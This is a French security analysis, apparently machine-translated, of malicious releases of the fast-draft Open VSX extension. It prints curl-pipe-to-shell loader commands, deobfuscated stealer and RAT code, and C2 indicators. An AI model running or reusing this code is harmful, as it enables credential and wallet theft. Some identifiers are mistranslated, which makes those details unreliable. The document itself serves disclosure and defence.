Le KhangNghiem/ébauche rapide extension, répertoriée sur open-vsx.org/extension/KhangNghiem/fast-draft et qui compte désormais plus de 26 000 téléchargements, a donné lieu à plusieurs versions malveillantes qui exécutent un programme de téléchargement hébergé sur GitHub et récupèrent un RAT de deuxième phase ainsi qu'un voleur d'informations depuis le référentiel BlokTrooper/extension. Les versions malveillantes confirmées dans la lignée de versions que nous avons examinée sont 0.10.89, 0.10.105, 0.10.106, et 0.10.112.
Ce qui rend ce cas particulier, c'est que les publications malveillantes ne sont pas continues. Les versions jusqu'à 0.10.88 sembler propres. 0.10.111 semble également intacte, bien qu'elle se trouve entre des versions malveillantes et la dernière version d'Open VSX datée du 17 mars 2026, 0.10.135, ne contient pas non plus le même chargeur. Ce schéma alterné est difficile à concilier avec l'hypothèse selon laquelle un responsable de maintenance diffuserait intentionnellement un logiciel malveillant. L'hypothèse la plus plausible est celle d'un éditeur piraté ou d'un jeton volé.
Au 17 mars 2026, l'entrée relative à l'API Open VSX à l'adresse open-vsx.org/api/KhangNghiem/fast-draft listes 0.10.135 comme étant la dernière version et indique un total de 26 594 téléchargements pour l'extension. Nous avons signalé le problème au responsable de la maintenance le 12 mars 2026 via un ticket GitHub github.com/khangnghiem/fast-draft/issues/565, qui était encore ouverte et ne comportait aucun commentaire au moment de la rédaction de cet article.
Ce qui s'est passé
Il suffit de suivre l'ordre des versions pour comprendre ce qui s'est passé :
0.10.88: Semble inoffensif. Aucun chemin d'accès au programme de téléchargement n'est connu.0.10.89: Malveillant. Intègre un téléchargeur de shell hébergé sur GitHub lors de l'initialisation de l'éditeur.0.10.105: Malveillant. Déplace le chargeur vers l'activation au démarrage et ajoute une protection à usage unique.0.10.106: Malveillant. Même chargeur de démarrage, mais le mécanisme de protection a été supprimé.0.10.111: Une interface épurée. Le chemin d'accès au fichier de téléchargement disparaît.0.10.112: Malveillant. Le programme de téléchargement au démarrage refait surface.0,10,129-135: Semble fiable. Dernières versions vérifiées, aucun programme de téléchargement malveillant détecté.
Ce n'est pas le schéma de publication auquel on s'attendrait de la part d'une seule version compromise ou d'un responsable de maintenance qui se serait complètement détourné vers des pratiques malveillantes. Cela ressemble davantage à deux flux de publication concurrents partageant la même identité d'éditeur.
Comment l'attaque s'est déroulée
Les versions malveillantes recourent toutes à la même astuce de base : l'extension se connecte à raw[.]githubusercontent[.]com/BlokTrooper/extension et redirige la réponse directement vers un shell.
Dans 0.10.89, l'extension récupère les scripts spécifiques à la plateforme depuis le répertoire `scripts/` du dépôt :
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/linux.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/mac.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/windows.cmd | cmdDans 0.10.105, 0.10.106, et 0.10.112, cette même idée est encapsulée sous la forme d'un icônes/${plateforme} « fetch » et lié à l'activation de l'extension, probablement aussi dans le but d'échapper à certaines détections.
Ces scripts de plateforme téléchargent ensuite des archives ZIP, les décompressent dans un répertoire temporaire, puis exécutent un binaire Node fourni avec le package sur une charge utile temporaire obscurcie. Nous avons déjà décortiqué cette charge utile dans une analyse distincte. Il ne s'agit pas d'un simple stub de test inoffensif. Elle déploie quatre modules en parallèle :
- Un RAT Socket.IO permettant de contrôler la souris, le clavier, la capture d'écran et le presse-papiers
- Un logiciel malveillant qui vole les données des navigateurs et des portefeuilles, ciblant les mots de passe enregistrés, les données Web et 25 extensions de portefeuilles cryptographiques
- Un module d'exfiltration de fichiers qui télécharge de manière récursive des documents, des clés, des fichiers de configuration, du code source et des informations confidentielles
- Un outil de surveillance du presse-papiers qui renvoie le contenu copié vers le C2
L'infrastructure correspond à la même chaîne BlokTrooper/extension que nous avons précédemment désobfusquée, les valeurs de configuration renvoyant à 195.201.104.53, et les ports actifs 6931, 6936, et 6939.
La preuve irréfutable
Le malveillant 0.10.112 Cette version rétablit l'activation au démarrage et le téléchargeur GitHub brut :
const fileName = platform === "win32" ? " | cmd" : " | sh";
const cdnUrl = `curl ${protocol}${separator}${host}${path2}${fileName}`;
(0, import_child_process.exec)(cdnUrl, (error, responses) => {...La dernière version compilée et validée, 0.10.135, ne suit pas le même chemin. Sa logique d'activation enregistre le fournisseur d'éditeur et d'autres éléments d'infrastructure de l'extension, mais le téléchargeur BlokTrooper est absent.
Cette différence est plus importante que le bruit heuristique générique généré par les scanners statiques. Ce cas a nécessité un examen manuel version par version, car les versions « propres » intègrent toujours l'exécution normale des processus et les intégrations de fournisseurs d'IA, ce qui peut paraître suspect aux règles trop simplistes.
Ce que fait réellement la deuxième étape
C'est lors de la deuxième étape que ce simple programme de téléchargement suspect se transforme en une compromission totale.
La partie extérieure temp Le wrapper reconstitue l'adresse C2 à partir d'octets IP codés en dur et supprime les erreurs d'exécution avec process.on('uncaughtException', ()=>{}), et lance quatre processus enfants Node indépendants avec node -eEn d'autres termes, l'extension ne se contente pas de récupérer une charge utile. Elle récupère un petit cadre d'attaque qui se décompose en tâches distinctes exécutées simultanément.
process.on(..., function(a7) {});
process.on(..., function(a7) {});
var Q = N.a;
var R = N.b;
var T = N.c;
var U = N.d;...
var a3 = ''.concat(Q, '.').concat(R, '.').concat(T, '.').concat(U);
var a4 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);
var a5 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);Cela provient directement du wrapper désobfusqué et montre que l'opérateur masque les plantages en reconstruisant les chaînes IP à partir des champs de configuration plutôt que de les stocker en texte clair.
ab = ...;
M(..., ['-e', ab], {
windowsHide: true,
detached: true,
stdio: ...
});
ac = ...;
M(..., ['-e', ac], {
windowsHide: true,
detached: true,
stdio: ...
});
ad = ...;
M(..., ['-e', ad], {
windowsHide: true,
detached: true,
stdio: ...
});
ae = ...;
M(..., ['-e', ae], {
windowsHide: true,
detached: true,
stdio: ...
});Il s'agit de l'étape clé de la phase 2 : un script de lancement démarre quatre modules distincts en mémoire et les détache afin qu'ils puissent continuer à s'exécuter de manière indépendante en arrière-plan.
Module 1 : RAT de bureau à distance
Le premier processus fils se reconnecte à http://195[.]201[.]104[.]53:6931 via Socket.IO et met à disposition un canal de contrôle à distance complet.
Il prend en charge les commandes suivantes :
- mouvements de la souris, clics et défilement
- touches et combinaisons de touches
- captures d'écran avec compression JPEG
- lecture et écriture dans le presse-papiers
- Recherche des dimensions d'écran
- profilage du système et gestion des sessions
L'ensemble des dépendances inclus dans le fichier ZIP correspond exactement à ces fonctionnalités :
"node_modules/@nut-tree-fork/nut-js": {
"version": "4.2.6"
}, "node_modules/clipboardy": {
"version": "5.3.1"
}, "node_modules/screenshot-desktop": {
"version": "1.15.3"
}, "node_modules/sharp": {
"version": "0.34.5"
}, "node_modules/socket.io-client": {
"version": "4.8.3"
}À elles seules, ces dépendances ne suffisent pas à prouver un comportement malveillant. Dans ce cas précis, elles sont significatives car elles correspondent à la structure du module déjà désobfuscée : exécution de tâches à distance via Socket.IO, capture d'écran, traitement d'images, accès au presse-papiers et automatisation complète du clavier et de la souris.
La charge utile vérifie également si elle s'exécute dans une machine virtuelle en recherchant des chaînes de caractères telles que VMware, VirtualBox, qemu, kvm, et xen dans les informations système spécifiques à la plateforme. Il ne s'arrête pas lorsqu'il détecte une machine virtuelle. Il se contente d'étiqueter l'hôte et poursuit son chemin. Il maintient également un verrou PID singleton sous ~/.npm/ afin d'éviter que plusieurs instances ne s'exécutent simultanément sur la même machine.
Module 2 : Vol de données de navigateur et de portefeuille
Le deuxième processus enfant parcourt les profils de navigateur pour Chrome, Edge, Brave, Opera et LT Browser sous macOS, Linux et Windows. Pour chaque profil, il récupère :
- Données de connexion
- Données de connexion pour le compte
- Données Web
- État LevelDB provenant des extensions de portefeuille
Le ciblage des portefeuilles est vaste et n'est pas fortuit. La liste intégrée comprend notamment MetaMask, Phantom, TronLink, Trust Wallet, Coinbase Wallet, OKX, Solflare, Rabby, Keplr, UniSat, Enkrypt, Bitget, SafePal, TON Wallet, Petra, Pontem, Nami, Sender, Slope, Halo et CoinStats. Sous macOS, il récupère également ~/Bibliothèque/Keychains/login.keychain.
Les données sont stockées dans ~/npm-cache/__tmp__/cldbs/ et téléchargé sur http://195[.]201[.]104[.]53:6936/upload. Une fois le balayage initial terminé, le programme de vol continue de vérifier la présence de nouveaux fichiers LevelDB toutes les 100 secondes environ, ce qui signifie qu'il est conçu pour détecter les changements d'état du portefeuille au fil du temps, plutôt que de se contenter d'un simple vol éclair.
Une nouvelle analyse de la phase 2 nous permet d'avoir une vision plus claire du module de vol de navigateur. Il intègre en dur les identifiants des extensions de portefeuille, puis passe en revue les données de profil du navigateur, les bases de données de connexion et l'état des extensions géré par LevelDB :
const wps = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "jblndlipeogpafnldhgmapagcccfchpi"];
await c[z(0x238)](uf, g + '/' + j + z(0x241));
await c[z(0x22b)](uf, g + '/' + j + z(0x1ee));
await c[z(0x1d6)](uf, g + '/' + j + z(0x208));
for (let k of wps) {
const l = g + '/' + j + z(0x248) + k;Dans le même bloc décodé, ces constantes de chemin se traduisent par /Données de connexion, /Données de connexion pour le compte, /Données Web, et /Paramètres d'extension locale/, tandis que l'auteur de la publication utilise FormData, fs.createReadStream, /cldbs, et /téléchargement.
const f = new FormData();
f.append(e[y(0x1fc)], fs[y(0x20e)](c));
const g = await axios[y(0x1e4)](uu, f, {
headers: {
...f[y(0x239)](),
path: d[y(0x1fb)](e[y(0x21a)], e[y(0x1ba)])
}
});Module 3 : Vol de documents et de secrets
Le troisième processus fils analyse de manière récursive le répertoire personnel, ou tous les disques sous Windows, à la recherche de fichiers sensibles. Les modèles cibles comprennent :
*.docx,*.xlsx,*.xls,*.csv,*.pdf,*.doc,*.odt,*.rtf*.md,*.txt,*.js,*.ts,*.json,*.ini*.env*,*.pem,*.secret- formats d'image courants
La liste d'exclusion est également révélatrice. Elle ignore les chemins bruyants tels que node_modules, .git, dist, et construire, mais il ignore aussi explicitement les dossiers tels que .planche à voile, .pearai, .claude, .cursor, .brownie, et openzeppelin. Cela laisse penser que l'opérateur ne se contente pas de voler des fichiers au hasard. Il sait que les machines des développeurs, les outils de cryptographie et les environnements de codage assistés par l'IA constituent des cibles de grande valeur.
Les chaînes de code décodées relatives au vol de fichiers indiquent clairement ce qui est collecté et ce qui est ignoré :
const u = [".github", "*.env*", ".sqlite", « *.csv », « *.pdf », ".zsh_history", ".ssh", ".pub-cache", « .vscode »];
"node_modules", ".brownie", « AppData », « *.docx », « .cursor », ".claude", « openzeppelin », « .windsurf »Cette solution est conçue pour les postes de travail des développeurs, les arborescences de sources, les clés de chiffrement, l'historique du shell et les données d'état locales sensibles issues des environnements de développement modernes.
Module 4 : Surveillance du presse-papiers
Le quatrième processus enfant interroge le presse-papiers toutes les quelques secondes et attend que le contenu se stabilise avant de le transmettre au C2.
- Sous macOS, il utilise
pbpaste - Sous Windows, cela lance une fenêtre de commande
powershell -NoProfile -NonInteractive Get-Clipboard - Sous Linux, le système se rabat sur
papiers
Le contenu modifié du presse-papiers est envoyé à /api/service/makelog, ce qui signifie que les phrases de récupération, mots de passe, clés API et codes de récupération copiés peuvent être dérobés même s'ils n'ont jamais été enregistrés sur le disque.
Le bloc de données sous forme de chaîne décodée du module « clipboard » est d'une simplicité inhabituelle :
"/api/service/makelog",« pbpaste »,"powershell -NoProfile -NonInteractive Get-Clipboard",« child_process »,« http:// »Ces chaînes apparaissent ensemble dans le code du presse-papiers de la phase 2 et correspondent au comportement observé précédemment lors de la désobfuscation : une collecte du presse-papiers spécifique à la plateforme, suivie d'une transmission vers le circuit de journalisation de l'opérateur.
L'importance d'un espace propre
Ce sont ces versions « propres » qui font que cette affaire mérite d'être examinée comme un compromis probable de la part de l'éditeur, plutôt que comme un simple « cas d'extension devenue malveillante ».
Nous avons vérifié manuellement 0.10.88, 0.10.111, et 0,10,129-135 en ce qui concerne les indicateurs concrets présents dans les versions malveillantes :
- raw[.]githubusercontent[.].com/BlokTrooper
- le garde fd.onlyOncePlease utilisé par le chargeur de démarrage
- socket.io-client
- /téléchargement
- /cldbs
- pbpaste
- Get-Clipboard
Ces indicateurs connus étaient absents des versions d'apparence inoffensive, et leur processus d'activation ressemblait davantage à l'enregistrement d'une extension classique qu'à celui d'un téléchargeur. Cela est particulièrement important pour 0.10.111, qui se situe exactement entre les éléments malveillants 0.10.106 et 0.10.112, et pour 0.10.135, qui est actuellement la dernière version d'Open VSX.
Si le responsable de la maintenance diffusait sciemment le logiciel malveillant, l'historique des versions resterait probablement infecté jusqu'à ce que le problème soit détecté ou résolu. Or, on constate que des versions malveillantes apparaissent et disparaissent tandis que le problème signalé publiquement reste sans réponse. Cela correspond à un vol des droits de publication ou à une autre forme de compromission du processus de publication.
Indicateurs de Compromission
- ID de l'extension : KhangNghiem.fast-draft
- Versions malveillantes :
0.10.89,0.10.105,0.10.106,0.10.112 - Hébergeur de la phase 1 : raw[.]githubusercontent[.].com/BlokTrooper/extension
- Adresse IP C2 : 195[.]201[.]104[.]53
- Ports : 6931, 6936, 6939
- Chemins d'exfiltration : /upload, /cldbs, /api/service/makelog

